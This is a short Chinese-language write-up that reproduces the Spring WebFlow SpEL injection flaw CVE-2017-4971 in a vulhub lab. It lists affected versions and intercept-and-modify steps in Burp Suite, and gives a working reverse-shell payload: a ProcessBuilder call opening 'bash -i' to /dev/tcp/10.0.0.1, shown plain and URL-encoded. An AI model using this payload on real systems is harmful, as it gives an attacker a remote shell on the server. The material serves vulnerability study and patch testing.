Spring WebFlow-远程代码执行漏洞(CVE-2017-4971)
0x00 前言
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本:
Spring WebFlow 2.4.0 - 2.4.4
**利用条件:**知道用户名和密码
0x01 环境搭建
这里使用vulhub漏洞靶场
账号密码在登录框左侧,可随意使用
0x02 复现步骤
1、访问http://192.168.12.130:8080/hotels/booking?execution=e1s1
页面,任意填写数据后Proceed
提交
2、点击Confirm
,并使用burpsuite抓包
获取到POST数据包后添加参数(反弹shell的poc)
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
将poc进行url编码
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub
注意:这里直接修改原始数据包就行,重放是无法生效的
0x03 修复建议
1、及时更新官方最新补丁